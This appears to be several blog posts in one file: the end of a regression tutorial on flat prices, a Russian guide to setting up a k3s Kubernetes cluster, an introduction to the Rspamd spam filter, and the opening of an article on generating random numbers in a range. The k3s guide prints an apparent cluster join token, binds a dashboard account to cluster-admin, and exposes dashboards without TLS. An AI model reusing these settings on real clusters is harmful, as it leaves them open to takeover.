For tasks related to prediction flat's price usually, use linear regression. According to significant correlation from a previous stage, we could try to use it as well. It is a workhorse which is suitable for many tasks.
Prepare our data for next actions
```
from sklearn.model_selection import train_test_split
y = df.cost
X = df.drop(columns=['cost'])
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)
```
Also, we create some simple functions for prediction and evaluation of the result. Let do our first try to predict price!
```
def predict(X, y_test, model):
y = model.predict(X)
score = round((r2_score(y_test, y) * 100), 2)
print(f'Score on {model.__class__.__name__} is {score}')
return score
def train_model(X, y, regressor):
model = regressor.fit(X, y)
return model
```
```
from sklearn.linear_model import LinearRegression
regressor = LinearRegression()
model = train_model(X_train, y_train, regressor)
predict(X_test, y_test, model)
```
Well… 76.67% of accuracy. Is it a big number or not? According to my point of view, it is not bad. Moreover, it is a good starting point. Of course, it is not ideal, and there is a potential for improvement.
At the same time - we tried to predict only one part of the data. What about applying the same strategy for other data? Yes, time for cross-validation.
```
def do_cross_validation(X, y, model):
from sklearn.model_selection import KFold, cross_val_score
regressor_name = model.__class__.__name__
fold = KFold(n_splits=10, shuffle=True, random_state=0)
scores_on_this_split = cross_val_score(estimator=model, X=X, y=y, cv=fold, scoring='r2')
scores_on_this_split = np.round(scores_on_this_split * 100, 2)
mean_accuracy = scores_on_this_split.mean()
print(f'Crossvaladaion accuracy on {model.__class__.__name__} is {mean_accuracy}')
return mean_accuracy
do_cross_validation(X, y, model)
```
The result of the cross-validationNow we take another result. 73 is less than 76. But, it also a good candidate until a moment when we will have a better one. Also, it means that a linear regression works quite stable on our dataset.
And now is a time for the last step.
We will look at the best feature of linear regression -**interpretability**.
This family of models, in opposite to more complex ones, has a better ability to for understanding. There are just some numbers with coefficients and you can put your numbers in the equation, make some simple math and have a result.
Let try to interpret our model
```
def estimate_model(model):
sns.set(style="white", context="talk")
f, ax = plot.subplots(1, 1, figsize=(10, 10), sharex=True)
sns.barplot(x=model.coef_, y=X.columns, palette="vlag", ax=ax)
for i, v in enumerate(model.coef_.astype(int)):
ax.text(v + 3, i + .25, str(v), color='black')
ax.set_title(f"Coefficients")
estimate_model(regressor)
```
The picture looks quite logical. *Balcony/Walls/Area/Repair* give a **positive** contribution to a flat price.
The further flat is the bigger a **negative contribution**. Also applicable for age. The older flat is the lower price will be.
So, it was a fascinating journey.
We started from the ground, use the untypical approach for data transformation based on the human point of view(numbers instead dummy variables), checked variables and their relation to each other. After that, we build our simple model, used cross-validation for testing its. And as the cherry on the cake - look at the internals of model, what gives us confidence about our way.
But! It is not the finish our journey but only a break. We will try to change our model in the future and maybe (just maybe) it increases the accuracy of prediction.
**Thanks for reading!**
> The second part is [there](https://habr.com/en/post/470710/)
>
>
P.S. The source data and Ipython-notebook is located [there](https://github.com/VeeSot/flats/) | https://habr.com/ru/post/468053/ | null | en | null |
# Установка полноценного кластера Kubernetes на основе k3s
Большинство читателей уже так или иначе пробовали устанавливать Kubernetes с помощью kubespray или других средств автоматизации, доступных у большинства поставщиков облачных решений. Можно также всё делать с нуля с использованием kubectl, ведь сам процесс в принципе достаточно неплохо [обкатан](https://slurm.io/slurm?utm_source=habr&utm_medium=post&utm_campaign=intensive_kubernetes_bazovyi&utm_content=post_12-04-2021&utm_term=demkovich). Но что если нужна тестовая лаборатория, или даже не сильно крупная серверная ферма, построенная на собственных серверах с ограниченными ресурсами, либо просто на устаревшем оборудовании?
Можно воспользоваться [k3s](https://k3s.io/), минималистичной сборкой Kubernetes, особенностью которой является возможность работать как на мелких компьютерах типа Raspberry Pi и небольших виртуальных машинах, так и на обычных железных серверах. Данной статьей начинается небольшой цикл статей о построении домашнего или небольшого производственного кластера Kubernetes, в частности в этой статье будет рассмотрена установка полноценного кластера Kubernetes on-premise на основе [k3s](https://k3s.io/), в кластере будет установлен ingress на базе проекта Contour, балансировщик Metallb, панель управления Headlamp, система управления томами Longhorn вместе с панелью управления.
Такой выбор составных частей обусловлен следующими соображениями:
* использование новейших технологий с целью их изучения и обкатки для будущего внедрения на **«**больших**»** кластерах;
* ПО с наличием бесплатной версии, но лучше вообще с открытым исходным кодом;
* простота и легкость в установке, обслуживании и работе;
* отсутствие привязок к железу, в идеальном случае — полностью программная реализация.
Все используемые скрипты, конфигурационные файлы и прочие вещи будут выложены по окончанию цикла наGitHub, если будут пожелания и предложения — прошу написать их в комментариях.
Начальные условия
-----------------
Нужно три сервера (можно виртуальные, но лучше железные), на каждом из них есть один публичный адрес, еще один публичный адрес будет использоваться для Metallb, для сервисов, которые будут развернуты в кластере.
Операционная система Debian 10 с последними обновлениями, отключен swap. Имена серверов k3s1, k3s2 и k3s3, запись в днс \*.example.com указывает на свободный публичный ip от metallb. Установлен исполняемый файл [arkade](https://github.com/alexellis/arkade), с помощью которого можно автоматизировать установку других программ, в частности k3sup, а также установить приложения в кластер Kubernetes. Дополнительно настроен доступ к серверам по ssh по ключу для пользователя root.
Установка k3s
-------------
Установка производится с помощью скрипта, использующего программу k3sup. Содержимое скрипта:
```
#!/bin/bash
#set -e
export NODE_1="k3s1"
export NODE_2="k3s2"
export NODE_3="k3s3"
export USER=root
# The first server starts the cluster
k3sup install \
--cluster \
--user $USER \
--host $NODE_1 \
--k3s-extra-args '--disable servicelb --disable traefik '
# The second node joins
k3sup join \
--server \
--host $NODE_2 \
--user $USER \
--server-user $USER \
--server-host $NODE_1
# The third node joins
k3sup join \
--server \
--host $NODE_3 \
--user $USER \
--server-user $USER \
--server-host $NODE_1
```
Процесс установки:
```
$ ./bootstrap-k8s.sh
Running: k3sup install
2021/02/27 15:28:38 k3s1
Public IP: k3s1
[INFO] Finding release for channel v1.19
[INFO] Using v1.19.8+k3s1 as release
[INFO] Downloading hash https://github.com/rancher/k3s/releases/download/v1.19.8+k3s1/sha256sum-amd64.txt
[INFO] Downloading binary https://github.com/rancher/k3s/releases/download/v1.19.8+k3s1/k3s
[INFO] Verifying binary download
[INFO] Installing k3s to /usr/local/bin/k3s
[INFO] Creating /usr/local/bin/kubectl symlink to k3s
[INFO] Creating /usr/local/bin/crictl symlink to k3s
[INFO] Creating /usr/local/bin/ctr symlink to k3s
[INFO] Creating killall script /usr/local/bin/k3s-killall.sh
[INFO] Creating uninstall script /usr/local/bin/k3s-uninstall.sh
[INFO] env: Creating environment file /etc/systemd/system/k3s.service.env
[INFO] systemd: Creating service file /etc/systemd/system/k3s.service
[INFO] systemd: Enabling k3s unit
Created symlink /etc/systemd/system/multi-user.target.wants/k3s.service → /etc/systemd/system/k3s.service.
[INFO] systemd: Starting k3s
Result: [INFO] Finding release for channel v1.19
[INFO] Using v1.19.8+k3s1 as release
[INFO] Downloading hash https://github.com/rancher/k3s/releases/download/v1.19.8+k3s1/sha256sum-amd64.txt
[INFO] Downloading binary https://github.com/rancher/k3s/releases/download/v1.19.8+k3s1/k3s
[INFO] Verifying binary download
[INFO] Installing k3s to /usr/local/bin/k3s
[INFO] Creating /usr/local/bin/kubectl symlink to k3s
[INFO] Creating /usr/local/bin/crictl symlink to k3s
[INFO] Creating /usr/local/bin/ctr symlink to k3s
[INFO] Creating killall script /usr/local/bin/k3s-killall.sh
[INFO] Creating uninstall script /usr/local/bin/k3s-uninstall.sh
[INFO] env: Creating environment file /etc/systemd/system/k3s.service.env
[INFO] systemd: Creating service file /etc/systemd/system/k3s.service
[INFO] systemd: Enabling k3s unit
[INFO] systemd: Starting k3s
Created symlink /etc/systemd/system/multi-user.target.wants/k3s.service → /etc/systemd/system/k3s.service.
Saving file to: /home/user/kubeconfig
# Test your cluster with:
export KUBECONFIG=/home/user/kubeconfig
kubectl config set-context default
kubectl get node -o wide
Running: k3sup join
Server IP: k3s1
K101de86a6148782e7d364df3657cbea52faf809c688be697c5d5d37ccb76c4fdae::server:021aeff4097220f3dc94145842b7bf40
[INFO] Finding release for channel v1.19
[INFO] Using v1.19.8+k3s1 as release
[INFO] Downloading hash https://github.com/rancher/k3s/releases/download/v1.19.8+k3s1/sha256sum-amd64.txt
[INFO] Downloading binary https://github.com/rancher/k3s/releases/download/v1.19.8+k3s1/k3s
[INFO] Verifying binary download
[INFO] Installing k3s to /usr/local/bin/k3s
[INFO] Creating /usr/local/bin/kubectl symlink to k3s
[INFO] Creating /usr/local/bin/crictl symlink to k3s
[INFO] Creating /usr/local/bin/ctr symlink to k3s
[INFO] Creating killall script /usr/local/bin/k3s-killall.sh
[INFO] Creating uninstall script /usr/local/bin/k3s-uninstall.sh
[INFO] env: Creating environment file /etc/systemd/system/k3s.service.env
[INFO] systemd: Creating service file /etc/systemd/system/k3s.service
[INFO] systemd: Enabling k3s unit
Created symlink /etc/systemd/system/multi-user.target.wants/k3s.service → /etc/systemd/system/k3s.service.
[INFO] systemd: Starting k3s
Logs: Created symlink /etc/systemd/system/multi-user.target.wants/k3s.service → /etc/systemd/system/k3s.service.
Output: [INFO] Finding release for channel v1.19
[INFO] Using v1.19.8+k3s1 as release
[INFO] Downloading hash https://github.com/rancher/k3s/releases/download/v1.19.8+k3s1/sha256sum-amd64.txt
[INFO] Downloading binary https://github.com/rancher/k3s/releases/download/v1.19.8+k3s1/k3s
[INFO] Verifying binary download
[INFO] Installing k3s to /usr/local/bin/k3s
[INFO] Creating /usr/local/bin/kubectl symlink to k3s
[INFO] Creating /usr/local/bin/crictl symlink to k3s
[INFO] Creating /usr/local/bin/ctr symlink to k3s
[INFO] Creating killall script /usr/local/bin/k3s-killall.sh
[INFO] Creating uninstall script /usr/local/bin/k3s-uninstall.sh
[INFO] env: Creating environment file /etc/systemd/system/k3s.service.env
[INFO] systemd: Creating service file /etc/systemd/system/k3s.service
[INFO] systemd: Enabling k3s unit
[INFO] systemd: Starting k3s
Running: k3sup join
Server IP: k3s1
K101de86a6148782e7d364df3657cbea52faf809c688be697c5d5d37ccb76c4fdae::server:021aeff4097220f3dc94145842b7bf40
[INFO] Finding release for channel v1.19
[INFO] Using v1.19.8+k3s1 as release
[INFO] Downloading hash https://github.com/rancher/k3s/releases/download/v1.19.8+k3s1/sha256sum-amd64.txt
[INFO] Downloading binary https://github.com/rancher/k3s/releases/download/v1.19.8+k3s1/k3s
[INFO] Verifying binary download
[INFO] Installing k3s to /usr/local/bin/k3s
[INFO] Creating /usr/local/bin/kubectl symlink to k3s
[INFO] Creating /usr/local/bin/crictl symlink to k3s
[INFO] Creating /usr/local/bin/ctr symlink to k3s
[INFO] Creating killall script /usr/local/bin/k3s-killall.sh
[INFO] Creating uninstall script /usr/local/bin/k3s-uninstall.sh
[INFO] env: Creating environment file /etc/systemd/system/k3s.service.env
[INFO] systemd: Creating service file /etc/systemd/system/k3s.service
[INFO] systemd: Enabling k3s unit
Created symlink /etc/systemd/system/multi-user.target.wants/k3s.service → /etc/systemd/system/k3s.service.
[INFO] systemd: Starting k3s
Logs: Created symlink /etc/systemd/system/multi-user.target.wants/k3s.service → /etc/systemd/system/k3s.service.
Output: [INFO] Finding release for channel v1.19
[INFO] Using v1.19.8+k3s1 as release
[INFO] Downloading hash https://github.com/rancher/k3s/releases/download/v1.19.8+k3s1/sha256sum-amd64.txt
[INFO] Downloading binary https://github.com/rancher/k3s/releases/download/v1.19.8+k3s1/k3s
[INFO] Verifying binary download
[INFO] Installing k3s to /usr/local/bin/k3s
[INFO] Creating /usr/local/bin/kubectl symlink to k3s
[INFO] Creating /usr/local/bin/crictl symlink to k3s
[INFO] Creating /usr/local/bin/ctr symlink to k3s
[INFO] Creating killall script /usr/local/bin/k3s-killall.sh
[INFO] Creating uninstall script /usr/local/bin/k3s-uninstall.sh
[INFO] env: Creating environment file /etc/systemd/system/k3s.service.env
[INFO] systemd: Creating service file /etc/systemd/system/k3s.service
[INFO] systemd: Enabling k3s unit
[INFO] systemd: Starting k3s
$ export KUBECONFIG=kubeconfig
$ kubectl get node
NAME STATUS ROLES AGE VERSION
k3s1 Ready etcd,master 92s v1.19.8+k3s1
k3s2 Ready etcd,master 60s v1.19.8+k3s1
k3s3 Ready etcd,master 30s v1.19.8+k3s1
```
После установки меняем адрес сервера в конфигурационном файле и подчищаем кластер:
```
$ sed s/127.0.0.1/k3s1/ -i kubeconfig
$ export KUBECONFIG=kubeconfig
$ kubectl delete svc/traefik-prometheus -n kube-system
service "traefik-prometheus" deleted
$ kubectl delete svc/traefik -n kube-system
service "traefik" deleted
$ kubectl delete deployment.apps/traefik -n kube-system
deployment.apps "traefik" deleted
```
Установка и настройка Metallb
-----------------------------
Для начала создаём namespace и configmap, содержимое файла metallb.yaml:
```
apiVersion: v1
kind: ConfigMap
metadata:
namespace: metallb-system
name: config
data:
config: |
address-pools:
- name: default
protocol: layer2
addresses:
- <тут надо вписать ip, используемый для metallb>/32
```
Установка:
```
$ kubectl apply -f metallb.yaml
namespace/metallb-system created
configmap/config created
$ kubectl create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)"
secret/memberlist created
$ kubectl apply -f https://raw.githubusercontent.com/metallb/metallb/v0.9.5/manifests/metallb.yaml
podsecuritypolicy.policy/controller created
podsecuritypolicy.policy/speaker created
serviceaccount/controller created
serviceaccount/speaker created
clusterrole.rbac.authorization.k8s.io/metallb-system:controller created
clusterrole.rbac.authorization.k8s.io/metallb-system:speaker created
role.rbac.authorization.k8s.io/config-watcher created
role.rbac.authorization.k8s.io/pod-lister created
clusterrolebinding.rbac.authorization.k8s.io/metallb-system:controller created
clusterrolebinding.rbac.authorization.k8s.io/metallb-system:speaker created
rolebinding.rbac.authorization.k8s.io/config-watcher created
rolebinding.rbac.authorization.k8s.io/pod-lister created
daemonset.apps/speaker created
deployment.apps/controller created
```
Установка и настройка Contour
-----------------------------
Установка производится так:
```
$ kubectl apply -f https://projectcontour.io/quickstart/contour.yaml
namespace/projectcontour created
serviceaccount/contour created
serviceaccount/envoy created
configmap/contour created
customresourcedefinition.apiextensions.k8s.io/extensionservices.projectcontour.io created
customresourcedefinition.apiextensions.k8s.io/httpproxies.projectcontour.io created
customresourcedefinition.apiextensions.k8s.io/tlscertificatedelegations.projectcontour.io created
serviceaccount/contour-certgen created
rolebinding.rbac.authorization.k8s.io/contour created
role.rbac.authorization.k8s.io/contour-certgen created
job.batch/contour-certgen-v1.13.0 created
clusterrolebinding.rbac.authorization.k8s.io/contour created
clusterrole.rbac.authorization.k8s.io/contour created
service/contour created
service/envoy created
deployment.apps/contour created
daemonset.apps/envoy created
```
Дополнительной настройки в данном случае не требуется.
Установка и настройка cert-manager
----------------------------------
Для установки достаточно запустить следующую команду:
```
$ kubectl apply -f https://github.com/jetstack/cert-manager/releases/download/v1.2.0/cert-manager.yaml
customresourcedefinition.apiextensions.k8s.io/certificaterequests.cert-manager.io created
customresourcedefinition.apiextensions.k8s.io/certificates.cert-manager.io created
customresourcedefinition.apiextensions.k8s.io/challenges.acme.cert-manager.io created
customresourcedefinition.apiextensions.k8s.io/clusterissuers.cert-manager.io created
customresourcedefinition.apiextensions.k8s.io/issuers.cert-manager.io created
customresourcedefinition.apiextensions.k8s.io/orders.acme.cert-manager.io created
namespace/cert-manager created
serviceaccount/cert-manager-cainjector created
serviceaccount/cert-manager created
serviceaccount/cert-manager-webhook created
clusterrole.rbac.authorization.k8s.io/cert-manager-cainjector created
clusterrole.rbac.authorization.k8s.io/cert-manager-controller-issuers created
clusterrole.rbac.authorization.k8s.io/cert-manager-controller-clusterissuers created
clusterrole.rbac.authorization.k8s.io/cert-manager-controller-certificates created
clusterrole.rbac.authorization.k8s.io/cert-manager-controller-orders created
clusterrole.rbac.authorization.k8s.io/cert-manager-controller-challenges created
clusterrole.rbac.authorization.k8s.io/cert-manager-controller-ingress-shim created
clusterrole.rbac.authorization.k8s.io/cert-manager-view created
clusterrole.rbac.authorization.k8s.io/cert-manager-edit created
clusterrolebinding.rbac.authorization.k8s.io/cert-manager-cainjector created
clusterrolebinding.rbac.authorization.k8s.io/cert-manager-controller-issuers created
clusterrolebinding.rbac.authorization.k8s.io/cert-manager-controller-clusterissuers created
clusterrolebinding.rbac.authorization.k8s.io/cert-manager-controller-certificates created
clusterrolebinding.rbac.authorization.k8s.io/cert-manager-controller-orders created
clusterrolebinding.rbac.authorization.k8s.io/cert-manager-controller-challenges created
clusterrolebinding.rbac.authorization.k8s.io/cert-manager-controller-ingress-shim created
role.rbac.authorization.k8s.io/cert-manager-cainjector:leaderelection created
role.rbac.authorization.k8s.io/cert-manager:leaderelection created
role.rbac.authorization.k8s.io/cert-manager-webhook:dynamic-serving created
rolebinding.rbac.authorization.k8s.io/cert-manager-cainjector:leaderelection created
rolebinding.rbac.authorization.k8s.io/cert-manager:leaderelection created
rolebinding.rbac.authorization.k8s.io/cert-manager-webhook:dynamic-serving created
service/cert-manager created
service/cert-manager-webhook created
deployment.apps/cert-manager-cainjector created
deployment.apps/cert-manager created
deployment.apps/cert-manager-webhook created
mutatingwebhookconfiguration.admissionregistration.k8s.io/cert-manager-webhook created
validatingwebhookconfiguration.admissionregistration.k8s.io/cert-manager-webhook created
```
Установка и настройка Headlamp
------------------------------
Headlamp — это современный расширяемый веб-интерфейс для управления кластером k8s. Установим его.
Для его работы необходима учетная запись с доступом к кластеру, создадим её и выдадим доступ:
```
$ kubectl -n kube-system create serviceaccount headlamp-admin
serviceaccount/headlamp-admin created
$ kubectl create clusterrolebinding headlamp-admin --serviceaccount=kube-system:headlamp-admin --clusterrole=cluster-admin
clusterrolebinding.rbac.authorization.k8s.io/headlamp-admin created
```
Для доступа к интерфейсу можно его **«**прокинуть**»** наружу с помощью ingress, для этого создадим файл headlamp-ingress.yaml с следующим содержимым (настройка шифрования ssl опущена для простоты):
```
kind: Ingress
apiVersion: extensions/v1beta1
metadata:
name: headlamp
namespace: kube-system
annotations:
kubernetes.io/tls-acme: "false"
spec:
rules:
-
host: headlamp.example.com
http:
paths:
-
path: /
backend:
serviceName: headlamp
servicePort: 80
```
Добавление ingress:
```
$ kubectl apply -f headlamp-ingress.yaml
ingress.extensions/headlamp created
```
Для того, чтобы получить доступ к интерфейсу, нужно знать токен. Чтобы его получить, можно использовать следующую команду:
```
$ kubectl -n kube-system describe secret $(kubectl -n kube-system get secrets | grep -oP headlamp-admin-token-[a-z0-9]+) | awk '/^token/ {print $2}'
```
Вводим полученный токен в форму headlamp и можем управлять кластером из браузера:
Установка и настройка Longhorn
------------------------------
На каждом сервере надо создать и смонтировать каталог /var/lib/longhorn (используется по умолчанию), где будут храниться данные, у меня для таких целей смонтирован том LVM2 с файловой системой ext4:
```
k3s1 # df -h | grep longhorn
/dev/mapper/vg-longhorn 37G 74M 37G 1% /var/lib/longhorn
```
Также для корректной работы надо наличие iscsiadm, в случае Debian надо установить пакет `open-iscsi` на каждом сервере.
Установка Longhorn после подготовительных работ может быть произведена так:
```
$ kubectl apply -f https://raw.githubusercontent.com/longhorn/longhorn/v1.1.0/deploy/longhorn.yaml
namespace/longhorn-system created
serviceaccount/longhorn-service-account created
clusterrole.rbac.authorization.k8s.io/longhorn-role created
clusterrolebinding.rbac.authorization.k8s.io/longhorn-bind created
customresourcedefinition.apiextensions.k8s.io/engines.longhorn.io created
customresourcedefinition.apiextensions.k8s.io/replicas.longhorn.io created
customresourcedefinition.apiextensions.k8s.io/settings.longhorn.io created
customresourcedefinition.apiextensions.k8s.io/volumes.longhorn.io created
customresourcedefinition.apiextensions.k8s.io/engineimages.longhorn.io created
customresourcedefinition.apiextensions.k8s.io/nodes.longhorn.io created
customresourcedefinition.apiextensions.k8s.io/instancemanagers.longhorn.io created
customresourcedefinition.apiextensions.k8s.io/sharemanagers.longhorn.io created
configmap/longhorn-default-setting created
podsecuritypolicy.policy/longhorn-psp created
role.rbac.authorization.k8s.io/longhorn-psp-role created
rolebinding.rbac.authorization.k8s.io/longhorn-psp-binding created
configmap/longhorn-storageclass created
daemonset.apps/longhorn-manager created
service/longhorn-backend created
deployment.apps/longhorn-ui created
service/longhorn-frontend created
deployment.apps/longhorn-driver-deployer created
```
Во время установки создается сервис с веб-интерфейсом, с помощью которого можно управлять томами. Сделаем его доступным извне, содержимое файла с описанием ingress такое:
```
kind: Ingress
apiVersion: extensions/v1beta1
metadata:
name: longhorn
namespace: longhorn-system
annotations:
kubernetes.io/tls-acme: "false"
spec:
rules:
-
host: longhorn.example.com
http:
paths:
-
path: /
backend:
serviceName: longhorn-frontend
servicePort: 80
```
Добавление ingress:
```
$ kubectl apply -f longhorn-ingress.yaml
ingress.extensions/longhorn created
```
Заключение
----------
В результате получилась заготовка кластера Kubernetes на основе k3s. В следующих статьях я буду опираться на полученный кластер, добавляя к нему новые возможности. В частности стоит настроить шифрование ssl для Headlamp и Longhorn, а также добавить basic auth к веб-интерфейсу Longhorn.
**Темы следующих статей цикла:**
* Обеспечение безопасного доступа к приложениям кластера.
* Журналирование приложений и мониторинг кластера.
* Настройка минимальной инфраструктуры для организации процесса CI/CD.
* Развертывание различных приложений, включая serverless-приложения. | https://habr.com/ru/post/551214/ | null | ru | null |
# Система фильтрации спама Rspamd
Система Rspamd разрабатывается как основная система фильтрации спама в Рамблер-Почте. Однако же, изначально я планировал сделать систему, которая бы не уступала по возможностям, гибкости и качеству работы Spamassassin'а, однако была бы лишена основных его недостатков: чрезмерного использования регулярных выражений, слабой оптимизацией и общей задумчивостью работы, а также сравнительно неточной статистикой. Так созрела идея rspamd — системы, ядро которой было бы оптимизированно для фильтрации большого потока писем, которая была бы легко расширяема и использовала бы более совершенные алгоритмы статистики. Ядро rspamd написано на Си и использует событийную модель обработки сообщений (основанную на libevent). Расширяется rspamd путем написания плагинов и правил на языке lua. Сам проект с самого основания был Open Source (под BSD лицензией) и сейчас расположен на [bitbucket](https://bitbucket.org/vstakhov/rspamd/).
#### Преамбула
На rspamd сильно повлияли такие проекты, как nginx, crm114 и, конечно же, spamassassin. От nginx rspamd взял модель обработки данных, а также принципы обработки различной информации — максимально используются наиболее оптимальные алгоритмы, такие как конечные автоматы, суффиксные деревья и прочее. В crm114, на мой взгляд, реализовано наибольшее количество разнообразных статистических алгоритмов и подходов, которые затем медленно внедряются и в другие системы. Например, rspamd для статистического анализа сообщений использует алгоритм анализа биграмм из слов, а не униграмм, как SA и многие другие спам-фильтры. Это позволяет оценивать вероятность (или же частоту) не просто слов, а спектра из сочетаний слов. С одной стороны это увеличивает размер статистики, а с другой — увеличивает ее точность. Но, конечно же, больше всего rspamd взял от SpamAssassin'а, послужившего прототипом и опорной точкой создания проекта. Идеология оценки сообщения на основании многих факторов — регулярных выражений, DNS блок-листов, различных списков, статистики, сигнатур, фишинга и прочего — взята именно из SpamAssassin'а. Кроме этого, оценка была расширена до понятия «метрика», что может позволить оценить сообщение по разным наборам правил.
#### Для кого предназначен Rspamd
Rspamd может подойти для систем различного масштаба, как крупных почтовых систем, так и небольших, обрабатывающих несколько писем в час. Первые найдут в rspamd такие возможности, как легкое горизонтальное масштабирование, master-slave синхронизацию статистики, встроенные команды для мониторинга работы, высокая скорость работы и возможность выдерживать резкие всплески загрузки (за счет отключения сложных проверок), а также гибкую расширяемую архитектуру. Для небольших систем rspamd вполне подойдет с настройками «из коробки». Также я планирую организовать раздачу статистики, чтобы пользователи могли поставить rspamd и иметь готовую систему для фильтрации спама. Rspamd умеет интегрироваться в различные MTA, а также работать в режиме SMTP прокси (более подробно об этом написано в данной [статье документации](https://bitbucket.org/vstakhov/rspamd/wiki/Rspamd_Integration)).
#### Получение, установка и конфигурация системы
Rspamd сейчас работает только на Unix-like системах (проверялась работоспособность на различных видах Linux, FreeBSD и OpenSolaris). В FreeBSD rspamd есть в виде порта (mail/rspamd), обладатели остальных системы, к сожалению, будут вынуждены собирать rspamd из исходников. Этот процесс, как и начальная конфигурация, описан в "[быстром старте](https://bitbucket.org/vstakhov/rspamd/wiki/Quick_Start)". Конфигурация rspamd может осуществляться двумя способами: через xml файл и через lua. Первый способ предназначен для установки базовых параметров, например, так задаются веса и пороги срабатывания различных действий для сообщения:
```
default
14.0
reject
greylist:4
add\_header:8
MISSING\_SUBJECT
...
```
Второй способ применяется для написания правил и более «тонкой» настройке rspamd. Например, можно сделать функцию, которая выбирает «подходящие» файлы статистики для сообщения (в базовой поставке поставляется такая функция для подбора статистики по языку сообщения). Вот пример определения наличия пустого письма с картинкой в письме:
```
reconf['R_EMPTY_IMAGE'] = function (task)
parts = task:get_text_parts()
if parts then
for _,part in ipairs(parts) do
if part:is_empty() then
images = task:get_images()
if images then
return true
end
end
end
end
return false
end
```
Для обучения, проверки писем и мониторинга rspamd можно использовать консольный клиент rspamc.
#### Текущее состояние проекта
Не так давно я делал небольшое тестирование производительности rspamd и SA (проверял потоком в 30 одновременных соединений на примерно одинаковых правилах). Приблизительные результаты были таковы:
Rspamd:
SpamAssassin:
Пользователи rspamd сейчас — это, помимо Рамблер-Почты, несколько крупных провайдеров. У проекта единственный разработчик, поэтому я заинтересован в новых пользователях для улучшения качества проекта и реализации новых идей. Кроме того, в последней версии (0.4.0) я приложил много усилий на стабилизацию, упрощение и улучшение качества своего проекта. Поэтому если кто-то будет получать меньше спама, благодаря rspamd, то я не зря писал код и эту статью.
#### Ссылки
1. <https://bitbucket.org/vstakhov/rspamd> — Домашняя страница проекта
2. <https://bitbucket.org/vstakhov/rspamd/wiki/Quick_Start> — Быстрый старт
3. <http://wiki.opennet.ru/Rspamd> — Быстрый старт на русском языке
4. <https://bitbucket.org/vstakhov/rspamd/downloads/> — Загрузки
5. <https://bitbucket.org/vstakhov/rspamd/wiki/Documentation> — Основная документация
6. <http://highsecure.ru/rspamd_statistics/> — Пример раздельной статистики для русского языка | https://habr.com/ru/post/125007/ | null | ru | null |
# Эффективная генерация числа в заданном интервале
В подавляющем большинстве моих постов о генерации случайных чисел рассматривались в основном свойства различных схем генерации. Это может оказаться неожиданным, но производительность алгоритма рандомизации может зависеть не от выбранной схемы генерации, а от других факторов. В этом посте (на который меня вдохновила превосходная [статья Дэниела Лемира](https://arxiv.org/abs/1805.10941)) мы исследуем основные причины снижения производительности генерации случайных чисел, которые часто перевешивают производительность движка ГПСЧ.
Представьте такую ситуацию:
В качестве домашнего задания Хуан и Саша реализуют одинаковый рандомизированный алгоритм на C++, который будет выполняться на одном университетском компьютере и с одним набором данных. Их код почти идентичен и отличается только в генерации случайных чисел. Хуан торопится на свои занятия по музыке, поэтому просто выбрал вихрь Мерсенна. Саша, с другой стороны, потратил несколько лишних часов на исследования. Саша провёл бенчмарки нескольких самых быстрых ГПСЧ, о которых недавно узнал из соцсетей, и выбрал наиболее быстрый. При встрече Саше не терпелось похвастаться, и он спросил Хуана: «Какой ГПСЧ ты использовал?»
«Лично я просто взял вихрь Мерсенна — он встроен в язык и вроде неплохо работает».
«Ха!», — ответил Саша. «Я использовал `jsf32`. Он намного быстрее, чем старый и медленный вихрь Мерсенна! Моя программа выполняется за 3 минуты 15 секунд!».
«Хм, неплохо, а моя справляется меньше, чем за минуту», — говорит Хуан и пожимает плечами. «Ну ладно, мне пора на концерт. Пойдёшь со мной?»
«Нет», — отвечает Саша. «Мне… эээ… нужно снова взглянуть на свой код».
Эта неловкая вымышленная ситуация *не* особо и вымышлена; она основана на реальных результатах. Если ваш рандомизированный алгоритм выполняется не так быстро, как хотелось бы, и узким местом похоже является генерация случайных чисел, то, как это ни странно, проблема может быть и не в генераторе случайных чисел!
### Введение: случайные числа на практике
Большинство современных качественных генераторов случайных чисел создаёт машинные слова, заполненные случайными битами, то есть обычно генерирует числа в интервале [0..232) или [0..264). Но во многих случаях использования пользователям нужны числа в определённом интервале — например, для броска кубика или выбора случайной игральной карты нужны числа в небольших постоянных интервалах. Однако многим алгоритмам, от [перемешивания](https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle) и [reservoir sampling](https://en.wikipedia.org/wiki/Reservoir_sampling) до [рандомизированных двоичных деревьев поиска](https://doi.org/10.1145/274787.274812) требуются числа, берущиеся из других интервалов.
### Методы
Мы рассмотрим множество различных методов. Чтобы упростить обсуждение, вместо генерации чисел в интервале [*i*..*j*) или [*i*..*j*] мы будем генерировать числа в интервале [0..*k*). Имея такую схему, мы сможем, например, генерировать числа в интервале [*i*..*j*), задав *k* = *j* — *i*, сгенерировав число в интервале [0..*k*), а затем прибавив к нему *i*.
#### Встроенные средства C++
Во многих языках есть встроенные средства для получения случайного числа в указанном интервале. Например, чтобы вытащить карту из колоды с 52 картами на таких скриптовых языках, как Perl и Python, мы можем написать соответственно `int(rand(52))` и `random.randint(0,52)`. [Прим. пользователя [CryptoPirate](https://habr.com/ru/users/cryptopirate/): *Мне кажется тут ошибка, в Python randint(a,b) генерирует числа от a до b включая b. А раз в колоде 52 карты и первая — «0», то должно быть random.randint(0,51)*.] В C++ мы аналогично можем использовать `uniform_int_distribution`.
Код на C++ для реализации такого подхода прост:
```
uint32_t bounded_rand(rng_t& rng, uint32_t range) {
std::uniform_int_distribution dist(0, range-1);
return dist(rng);
}
```
Обычно во встроенных средствах используется одна из описанных ниже техник, но большинство пользователей просто использует эти средства, не задумываясь о том, что происходит «под капотом», считая, что эти средства правильно спроектированы и достаточно эффективны. В C++ встроенные средства более сложны, потому что они должны иметь возможность работать с довольно произвольными движками генерации — генератор, выдающий значения в интервале от -3 до 17, может быть вполне допустим и применяться с `std::uniform_int_distribution` для создания чисел в любом интервале, например [0..1000). То есть встроенные средства C++ слишком переусложнены для большинства случаев, в которых они применяются.
#### Классический остаток от деления (с перекосом)
Давайте перейдём от переусложнённого подхода к слишком упрощённому.
Когда я учился программированию, мы генерировали числа в интервале (например, для выбора карты в колоде из 52 карт) с помощью оператора остатка от деления. Чтобы получить число в интервале [0..52), мы писали `rand() % 52`.
На C++ такой подход можно реализовать следующим образом:
```
uint32_t bounded_rand(rng_t& rng, uint32_t range) {
return rng() % range;
}
```
